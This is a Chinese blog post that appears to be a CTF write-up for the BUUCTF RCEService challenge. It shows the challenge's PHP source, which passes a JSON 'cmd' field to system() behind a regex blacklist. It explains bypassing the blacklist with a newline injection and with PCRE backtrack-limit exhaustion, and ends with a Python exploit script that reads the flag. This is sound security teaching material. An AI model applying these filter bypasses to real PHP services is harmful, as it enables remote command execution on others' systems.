PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
桌面中心(三)修改数据库
Oct 09 PHP
PHP 文件上传进度条的两种实现方法的代码
Nov 25 PHP
逆序二维数组插入一元素的php代码
Jun 08 PHP
php输出echo、print、print_r、printf、sprintf、var_dump的区别比较
Jun 21 PHP
PHP Class&amp;Object -- PHP 自排序二叉树的深入解析
Jun 25 PHP
解析strtr函数的效率问题
Jun 26 PHP
安装apache2.2.22配置php5.4(具体操作步骤)
Jun 26 PHP
php采用file_get_contents代替使用curl实例
Nov 07 PHP
PHP与Ajax相结合实现登录验证小Demo
Mar 16 PHP
利用PHP实现开心消消乐的算法示例
Oct 12 PHP
PHP使用 Pear 进行安装和卸载包的方法详解
Jul 08 PHP
laravel框架创建授权策略实例分析
Nov 22 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
PHP4中session登录页面的应用
2008/07/25 PHP
新安装的MySQL数据库需要注意的安全知识
2008/07/30 PHP
PHP字符串的递增和递减示例介绍
2014/02/11 PHP
浅析get与post的一些特殊情况
2014/07/28 PHP
PHP编程中的常见漏洞和代码实例
2014/08/06 PHP
php-beanstalkd消息队列类实例分享
2017/07/19 PHP
jquery的相对父元素和相对文档定位示例代码
2013/08/02 Javascript
js数组常用操作方法小结(增加,删除,合并,分割等)
2016/08/02 Javascript
jQuery中$.grep() 过滤函数 数组过滤
2016/11/22 Javascript
jQuery的extend方法【三种】
2016/12/14 Javascript
JavaScript 网页中实现一个计算当年还剩多少时间的倒数计时程序
2017/01/25 Javascript
angularjs实现猜数字大小功能
2020/05/20 Javascript
es6在react中的应用代码解析
2017/11/08 Javascript
解析Angular 2+ 样式绑定方式
2018/01/15 Javascript
JS逻辑运算符短路操作实例分析
2018/07/09 Javascript
如何手动实现一个 JavaScript 模块执行器
2020/10/16 Javascript
Vue实现简单的留言板
2020/10/23 Javascript
[01:21]辉夜杯战队访谈宣传片—CDEC
2015/12/25 DOTA
Python 的 with 语句详解
2014/06/13 Python
python搭建虚拟环境的步骤详解
2016/09/27 Python
python drf各类组件的用法和作用
2021/01/12 Python
如何用python开发Zeroc Ice应用
2021/01/29 Python
Expedia丹麦:全球领先的旅游网站
2018/03/18 全球购物
伦敦剧院门票:London Theatre Direct
2018/11/21 全球购物
中东奢侈品市场:Coveti
2019/05/12 全球购物
eBay加拿大站:eBay.ca
2019/06/20 全球购物
工作室成员个人发展规划范文
2014/01/24 职场文书
房地产项目策划书
2014/02/05 职场文书
事务机电主管工作职责
2014/02/25 职场文书
万能检讨书2000字
2014/10/17 职场文书
2015年后备干部工作总结
2015/05/15 职场文书
医院病假条怎么写
2015/08/17 职场文书
高中政治教学反思
2016/02/23 职场文书
golang在GRPC中设置client的超时时间
2021/04/27 Golang
css常用字体属性与背景属性介绍
2022/02/28 HTML / CSS
MySQL sql模式设置引起的问题
2022/05/15 MySQL